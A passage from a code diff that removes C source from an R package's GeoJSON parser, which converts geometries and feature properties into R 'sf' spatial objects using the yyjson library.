((val = yyjson_arr_iter_next(&iter))) { - ptr[idx] = yyjson_get_num(val); - - // XY bounding box - if (idx == 0) { - if (ptr[idx] > opt->xmax) opt->xmax = ptr[idx]; - if (ptr[idx] < opt->xmin) opt->xmin = ptr[idx]; - } else if (idx == 1) { - if (ptr[idx] > opt->ymax) opt->ymax = ptr[idx]; - if (ptr[idx] < opt->ymin) opt->ymin = ptr[idx]; - } else if (idx == 2) { - if (ptr[idx] > opt->zmax) opt->zmax = ptr[idx]; - if (ptr[idx] < opt->zmin) opt->zmin = ptr[idx]; - if (ptr[idx] == NA_REAL) { - opt->zmax = NA_REAL; - opt->zmin = NA_REAL; - } - } else if (idx == 3) { - if (ptr[idx] > opt->mmax) opt->mmax = ptr[idx]; - if (ptr[idx] < opt->mmin) opt->mmin = ptr[idx]; - } - - idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, 3)); - SET_STRING_ELT(nms_, 0, mkChar(COORD_SYSTEM[N])); - SET_STRING_ELT(nms_, 1, mkChar("POINT")); - SET_STRING_ELT(nms_, 2, mkChar("sfg")); - setAttrib(vec_, R_ClassSymbol, nms_); - - UNPROTECT(2); - return vec_; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Multipoint -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_multipoint(yyjson_val *obj, geo_parse_options *opt) { - // Rprintf(">> Point\n"); - - yyjson_val *coords = yyjson_obj_get(obj, "coordinates"); - - unsigned int coord_type = calc_matrix_coord_type(coords, opt); - // Rprintf("Multipoint %i\n", coord_type); - SEXP mat_ = PROTECT(parse_coords_as_matrix(coords, coord_type, opt)); - - SEXP nms_ = PROTECT(allocVector(STRSXP, 3)); - SET_STRING_ELT(nms_, 0, mkChar(COORD_SYSTEM[coord_type])); - SET_STRING_ELT(nms_, 1, mkChar("MULTIPOINT")); - SET_STRING_ELT(nms_, 2, mkChar("sfg")); - setAttrib(mat_, R_ClassSymbol, nms_); - - UNPROTECT(2); - return mat_; -} - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// LINESTRING -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_linestring(yyjson_val *obj, geo_parse_options *opt) { - - yyjson_val *coords = yyjson_obj_get(obj, "coordinates"); - - unsigned int coord_type = calc_matrix_coord_type(coords, opt); - SEXP mat_ = PROTECT(parse_coords_as_matrix(coords, coord_type, opt)); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, 3)); - SET_STRING_ELT(nms_, 0, mkChar(COORD_SYSTEM[coord_type])); - SET_STRING_ELT(nms_, 1, mkChar("LINESTRING")); - SET_STRING_ELT(nms_, 2, mkChar("sfg")); - setAttrib(mat_, R_ClassSymbol, nms_); - - UNPROTECT(2); - return mat_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// MULTILINESTRING -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_multilinestring(yyjson_val *obj, geo_parse_options *opt) { - - yyjson_val *linestrings = yyjson_obj_get(obj, "coordinates"); - - unsigned int nlinestrings = yyjson_get_len(linestrings); - - SEXP ll_ = PROTECT(allocVector(VECSXP, nlinestrings)); - - yyjson_arr_iter ring_iter = yyjson_arr_iter_with(linestrings); - yyjson_val *coords; - unsigned int ring_idx = 0; - unsigned int coord_type; - while ((coords = yyjson_arr_iter_next(&ring_iter))) { - - coord_type = calc_matrix_coord_type(coords, opt); - SEXP mat_ = PROTECT(parse_coords_as_matrix(coords, coord_type, opt)); - SET_VECTOR_ELT(ll_, ring_idx, mat_); - - UNPROTECT(1); - ring_idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, 3)); - SET_STRING_ELT(nms_, 0, mkChar(COORD_SYSTEM[coord_type])); - SET_STRING_ELT(nms_, 1, mkChar("MULTILINESTRING")); - SET_STRING_ELT(nms_, 2, mkChar("sfg")); - setAttrib(ll_, R_ClassSymbol, nms_); - - UNPROTECT(2); - return ll_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Polygon -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_polygon(yyjson_val *obj, geo_parse_options *opt) { - - yyjson_val *coords = yyjson_obj_get(obj, "coordinates"); - - unsigned int coord_type = COORD_XY; - SEXP ll_ = PROTECT(parse_coords_as_matrix_list(coords, &coord_type, - opt)); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, 3)); - SET_STRING_ELT(nms_, 0, mkChar(COORD_SYSTEM[coord_type])); - SET_STRING_ELT(nms_, 1, mkChar("POLYGON")); - SET_STRING_ELT(nms_, 2, mkChar("sfg")); - setAttrib(ll_, R_ClassSymbol, nms_); - - UNPROTECT(2); - return ll_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// MultiPolygon -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_multipolygon(yyjson_val *obj, geo_parse_options *opt) { - - yyjson_val *polygons = yyjson_obj_get(obj, "coordinates"); - - unsigned int npolygons = yyjson_get_len(polygons); - - SEXP ll_ = PROTECT(allocVector(VECSXP, npolygons)); - - yyjson_arr_iter ring_iter = yyjson_arr_iter_with(polygons); - yyjson_val *coords; - unsigned int polygon_idx = 0; - unsigned int coord_type = COORD_XY; - while ((coords = yyjson_arr_iter_next(&ring_iter))) { - - SEXP inner_ = PROTECT(parse_coords_as_matrix_list(coords, &coord_type, - opt)); - SET_VECTOR_ELT(ll_, polygon_idx, inner_); - - UNPROTECT(1); - polygon_idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP nms_ = PROTECT(allocVector(STRSXP, 3)); - SET_STRING_ELT(nms_, 0, mkChar(COORD_SYSTEM[coord_type])); - SET_STRING_ELT(nms_, 1, mkChar("MULTIPOLYGON")); - SET_STRING_ELT(nms_, 2, mkChar("sfg")); - setAttrib(ll_, R_ClassSymbol, nms_); - - UNPROTECT(2); - return ll_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// #### # # -// # # # -// # # # ## ### # ## ### # ## #### ## ### ### -// #### ## # # # ## # # # ## # # # # # # -// # # # # ## # ##### # # # ##### ### -// # # # # # ## # # # # # # # -// # # ### # ### # ## ### ### #### -// # -// # -// -// Parse a scalar feature that is not part of a collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP prop_to_rchar(yyjson_val *prop_val, geo_parse_options *opt) { - if (prop_val == NULL) { - return NA_STRING; - } - - char buf[128] = ""; - static char *bool_str[2] = {"FALSE", "TRUE"}; - static char *bool_int[2] = {"0", "1"}; - - switch (yyjson_get_type(prop_val)) { - case YYJSON_TYPE_NULL: - return NA_STRING; - break; - case YYJSON_TYPE_STR: - return mkChar(yyjson_get_str(prop_val)); - break; - case YYJSON_TYPE_BOOL: - { - if (opt->property_promotion_lgl_as_int == PROP_LGL_AS_INT) { - int tmp = yyjson_get_bool(prop_val); - return mkChar(bool_int[tmp]); - } else { - int tmp = yyjson_get_bool(prop_val); - return mkChar(bool_str[tmp]); - } - } - break; - case YYJSON_TYPE_ARR: - case YYJSON_TYPE_OBJ: - { - yyjson_mut_doc *doc = yyjson_mut_doc_new(NULL); - yyjson_mut_val *val = yyjson_val_mut_copy(doc, prop_val); - yyjson_mut_doc_set_root(doc, val); - char *json = yyjson_mut_write(doc, 0, NULL); - if (json == NULL) { - error("Error converting json to string in prop_to_strsxp"); - } - SEXP res_ = PROTECT(mkChar(json)); - free(json); - yyjson_mut_doc_free(doc); - UNPROTECT(1); - return res_; - } - break; - case YYJSON_TYPE_NUM: - switch(yyjson_get_subtype(prop_val)) { - case YYJSON_SUBTYPE_UINT: -#if defined(__APPLE__) || defined(_WIN32) - snprintf(buf, 128, "%llu", yyjson_get_uint(prop_val)); -#else - snprintf(buf, 128, "%lu", yyjson_get_uint(prop_val)); -#endif - return mkChar(buf); - break; - case YYJSON_SUBTYPE_SINT: -#if defined(__APPLE__) || defined(_WIN32) - snprintf(buf, 128, "%lld", yyjson_get_sint(prop_val)); -#else - snprintf(buf, 128, "%ld", yyjson_get_sint(prop_val)); -#endif - return mkChar(buf); - break; - case YYJSON_SUBTYPE_REAL: - snprintf(buf, 128, "%f", yyjson_get_real(prop_val)); - return mkChar(buf); - break; - default: - warning("prop_to_strsxp unhandled numeric type %s\n", yyjson_get_type_desc(prop_val)); - } - break; - default: - warning("prop_to_strsxp unhandled type: %s\n", yyjson_get_type_desc(prop_val)); - return NA_STRING; - } - - - Rprintf("Ugh\n"); - return NA_STRING; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse a property as a character string from a feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP prop_to_strsxp(yyjson_val *features, char *prop_name, geo_parse_options *opt) { - - unsigned int N = yyjson_get_len(features); - SEXP vec_ = PROTECT(allocVector(STRSXP, N)); - - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature_obj; - unsigned int idx = 0; - while ((feature_obj = yyjson_arr_iter_next(&feature_iter))) { - yyjson_val *props_obj = yyjson_obj_get(feature_obj, "properties"); - yyjson_val *prop_val = yyjson_obj_get(props_obj, prop_name); - - SET_STRING_ELT(vec_, idx, prop_to_rchar(prop_val, opt)); - idx++; - } - - UNPROTECT(1); - return vec_; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse a property as a character string from a feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP prop_to_vecsxp(yyjson_val *features, char *prop_name, geo_parse_options *opt) { - unsigned int N = yyjson_get_len(features); - SEXP vec_ = PROTECT(allocVector(VECSXP, N)); - - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature_obj; - unsigned int idx = 0; - while ((feature_obj = yyjson_arr_iter_next(&feature_iter))) { - yyjson_val *props_obj = yyjson_obj_get(feature_obj, "properties"); - yyjson_val *prop_val = yyjson_obj_get(props_obj, prop_name); - if (prop_val == NULL) { - SET_VECTOR_ELT(vec_, idx, ScalarLogical(NA_LOGICAL)); - } else { - SET_VECTOR_ELT(vec_, idx, json_as_robj(prop_val, opt->parse_opt)); - } - idx++; - } - - UNPROTECT(1); - return vec_; -} - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse a property as a INTSXP from a feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP prop_to_lglsxp(yyjson_val *features, char *prop_name, geo_parse_options *opt) { - unsigned int N = yyjson_get_len(features); - SEXP vec_ = PROTECT(allocVector(LGLSXP, N)); - int *ptr = INTEGER(vec_); - - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature_obj; - while ((feature_obj = yyjson_arr_iter_next(&feature_iter))) { - yyjson_val *props_obj = yyjson_obj_get(feature_obj, "properties"); - yyjson_val *prop_val = yyjson_obj_get(props_obj, prop_name); - if (prop_val == NULL) { - *ptr++ = NA_INTEGER; - } else { - *ptr++ = yyjson_get_bool(prop_val); - } - } - - UNPROTECT(1); - return vec_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse a property as a INTSXP from a feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP prop_to_intsxp(yyjson_val *features, char *prop_name, geo_parse_options *opt) { - unsigned int N = yyjson_get_len(features); - SEXP vec_ = PROTECT(allocVector(INTSXP, N)); - int *ptr = INTEGER(vec_); - - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature_obj; - while ((feature_obj = yyjson_arr_iter_next(&feature_iter))) { - yyjson_val *props_obj = yyjson_obj_get(feature_obj, "properties"); - yyjson_val *prop_val = yyjson_obj_get(props_obj, prop_name); - if (prop_val == NULL) { - *ptr++ = NA_INTEGER; - } else { - *ptr++ = yyjson_get_int(prop_val); - } - } - - UNPROTECT(1); - return vec_; -} - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse a property as a REALSXP from a feature collection -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP prop_to_realsxp(yyjson_val *features, char *prop_name, geo_parse_options *opt) { - unsigned int N = yyjson_get_len(features); - SEXP vec_ = PROTECT(allocVector(REALSXP, N)); - double *ptr = REAL(vec_); - - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature_obj; - while ((feature_obj = yyjson_arr_iter_next(&feature_iter))) { - yyjson_val *props_obj = yyjson_obj_get(feature_obj, "properties"); - yyjson_val *prop_val = yyjson_obj_get(props_obj, prop_name); - if (prop_val == NULL) { - *ptr++ = NA_REAL; - } else { - *ptr++ = yyjson_get_num(prop_val); - } - } - - UNPROTECT(1); - return vec_; -} - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Forward declaration -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_geometry_type(yyjson_val *val, geo_parse_options *opt); - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Parse a feature -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -SEXP parse_feature(yyjson_val *obj, geo_parse_options *opt) { - // Rprintf(">>> Feature\n"); - - reset_bbox(opt); - unsigned int nprotect = 0; - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Parse GEOMETRY - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_val *geom = yyjson_obj_get(obj, "geometry"); - SEXP geom_col_ = PROTECT(allocVector(VECSXP, 1)); nprotect++; - SEXP geom_ = PROTECT(parse_geometry_type(geom, opt)); nprotect++; - SET_VECTOR_ELT(geom_col_, 0, geom_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set attributes on geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - setAttrib(geom_col_, mkString("n_empty") , ScalarInteger(0)); - setAttrib(geom_col_, mkString("crs") , make_crs()); - - SEXP geom_class_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - - - yyjson_val *geom_type = yyjson_obj_get(geom, "type"); - // Rprintf("parse_geometry_type(): %s\n", yyjson_get_str(geom_type)); - - if (yyjson_equals_str(geom_type, "Point")) { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_POINT")); - } else if (yyjson_equals_str(geom_type, "MultiPoint")) { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_MULTIPOINT")); - } else if (yyjson_equals_str(geom_type, "LineString")) { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_LINESTRING")); - } else if (yyjson_equals_str(geom_type, "MultiLineString")) { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_MULTILINESTRING")); - } else if (yyjson_equals_str(geom_type, "Polygon")) { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_POLYGON")); - } else if (yyjson_equals_str(geom_type, "MultiPolygon")) { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_MULTIPOLYGON")); - } else { - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_UNKNOWN")); - } - - SET_STRING_ELT(geom_class_, 1, mkChar("sfc")); - setAttrib(geom_col_, R_ClassSymbol, geom_class_); - - setAttrib(geom_col_, mkString("precision"), ScalarReal(0)); - setAttrib(geom_col_, mkString("bbox"), make_bbox(opt)); - - if (opt->type == SFC_TYPE) { - // only care about geom, not properties. - UNPROTECT(nprotect); - return(geom_col_); - } - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Properties - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_val *props = yyjson_obj_get(obj, "properties"); - unsigned int ncols = yyjson_get_len(props) + 1; - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Allocate space for data.frame columns and column names - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP res_ = PROTECT(allocVector(VECSXP, ncols)); nprotect++; - SEXP nms_ = PROTECT(allocVector(STRSXP, ncols)); nprotect++; - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over the keys/values "properties" - // keys become column names - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_obj_iter iter = yyjson_obj_iter_with(props); - yyjson_val *val, *key; - unsigned int idx = 0; - while ((key = yyjson_obj_iter_next(&iter))) { - val = yyjson_obj_iter_get_val(key); - SEXP robj_ = PROTECT(json_as_robj(val, opt->parse_opt)); - - if (isNull(robj_)) { - // compatibilty with geojson: promotes NULL values to NA_character_ - UNPROTECT(1); - robj_ = PROTECT(allocVector(STRSXP, 1)); - SET_STRING_ELT(robj_, 0, NA_STRING); - } else if (isNewList(robj_) && length(robj_) == 0) { - // compatibilty with geojson. promote empty list to "{}" - UNPROTECT(1); - robj_ = PROTECT(allocVector(STRSXP, 1)); - SET_STRING_ELT(robj_, 0, mkChar("{}")); - } else if (isNewList(robj_) && opt->property_promotion == PROP_TYPE_STRING) { - // this is either a list or a multi-element {}-objet or []-array - // so turn it back into a string - UNPROTECT(1); - robj_ = PROTECT(allocVector(STRSXP, 1)); - SET_STRING_ELT(robj_, 0, prop_to_rchar(val, opt)); - } else if (length(robj_) > 1 && opt->property_promotion == PROP_TYPE_STRING) { - // this is either a list or a multi-element {}-objet or []-array - // so turn it back into a string - UNPROTECT(1); - robj_ = PROTECT(allocVector(STRSXP, 1)); - SET_STRING_ELT(robj_, 0, prop_to_rchar(val, opt)); - } - - SET_VECTOR_ELT(res_, idx, robj_); - UNPROTECT(1); - SET_STRING_ELT(nms_, idx, mkChar(yyjson_get_str(key))); - idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // The geometry column should be a list (i.e. VECSXP) - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SET_VECTOR_ELT(res_, ncols - 1, geom_col_); - SET_STRING_ELT(nms_, ncols - 1, mkChar("geometry")); - - - - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set column names - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - setAttrib(res_, R_NamesSymbol, nms_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Row.names - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP rownames = PROTECT(allocVector(INTSXP, 2)); nprotect++; - SET_INTEGER_ELT(rownames, 0, NA_INTEGER); - SET_INTEGER_ELT(rownames, 1, -1); // only a single rows - setAttrib(res_, R_RowNamesSymbol, rownames); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Nominate the geometry column name. - // Store this as the 'sf_geometry' attribute - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP sf_name_ = PROTECT(mkString("geometry")); nprotect++; - setAttrib(res_, mkString("sf_column"), sf_name_); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set 'data.frame' class - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP df_names_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - SET_STRING_ELT(df_names_, 0, mkChar("sf")); - SET_STRING_ELT(df_names_, 1, mkChar("data.frame")); - setAttrib(res_, R_ClassSymbol, df_names_); - - - - UNPROTECT(nprotect); - return res_; -} - - - -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Accumulating types and names for properies should really be dynamic, -// but for first draft, just set a static upper limit on number of properiies. -//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#define MAX_PROPS 256 - -//=========================================================================== -// ##### # ### ## ## -// # # # # # # -// # ### ### #### # # # ## ### # ### # # -// #### # # # # # # ## # # # # # # # # -// # ##### #### # # # # ##### # # # # # -// # # # # # # # ## # # # # # # # # -// # ### #### ## ## # # ### ### ### ### ### -//=========================================================================== - -SEXP parse_feature_collection_geometry(yyjson_val *features, geo_parse_options *opt) { - - unsigned int nprotect = 0; - reset_bbox(opt); - - if (!yyjson_is_arr(features)) { - error("Expecting FeatureCollection::features to be an array"); - } - unsigned int nrows = yyjson_get_len(features); - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // List-column will be used for geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geom_col_ = PROTECT(allocVector(VECSXP, nrows)); nprotect++; - SEXP geom_classes_ = PROTECT(allocVector(STRSXP, nrows)); nprotect++; - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Iterate over array to gather geometry - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - yyjson_arr_iter feature_iter = yyjson_arr_iter_with(features); - yyjson_val *feature; - unsigned int feature_idx = 0; - unsigned int sf_type_bitset = 0; - while ((feature = yyjson_arr_iter_next(&feature_iter))) { - - yyjson_val *geom = yyjson_obj_get(feature, "geometry"); - SET_VECTOR_ELT(geom_col_, feature_idx, geojson_as_sf(geom, opt, 1)); - - yyjson_val *geom_type = yyjson_obj_get(geom, "type"); - - if (yyjson_equals_str(geom_type, "Point")) { - sf_type_bitset |= SF_POINT; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("POINT")); - } else if (yyjson_equals_str(geom_type, "MultiPoint")) { - sf_type_bitset |= SF_MULTIPOINT; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("MULTIPOINT")); - } else if (yyjson_equals_str(geom_type, "LineString")) { - sf_type_bitset |= SF_LINESTRING; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("LINESTRING")); - } else if (yyjson_equals_str(geom_type, "MultiLineString")) { - sf_type_bitset |= SF_MULTILINESTRING; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("MULTILINESTRING")); - } else if (yyjson_equals_str(geom_type, "Polygon")) { - sf_type_bitset |= SF_POLYGON; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("POLYGON")); - } else if (yyjson_equals_str(geom_type, "MultiPolygon")) { - sf_type_bitset |= SF_MULTIPOLYGON; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("MULTIPOLYGON")); - } else if (yyjson_equals_str(geom_type, "GeometryCollection")) { - sf_type_bitset |= SF_GEOMETRY_COLLECTION; - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("GEOMETRYCOLLECTION")); - } else { - SET_STRING_ELT(geom_classes_, feature_idx, mkChar("UNKNOWN")); - } - - feature_idx++; - } - - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // Set attributes on geometry - // - // According to: https://r-spatial.github.io/sf/reference/sfc.html - // if all classes are the same, then: - // 1. Omit the 'classes' attribute - // 2. set the class to sfc_TYPE - //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - SEXP geom_class_ = PROTECT(allocVector(STRSXP, 2)); nprotect++; - - switch(sf_type_bitset) { - case SF_POINT: - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_POINT")); - break; - case SF_MULTIPOINT: - SET_STRING_ELT(geom_class_, 0, mkChar("sfc_MULTIPOINT")); - break; - case SF_LINESTRING: - 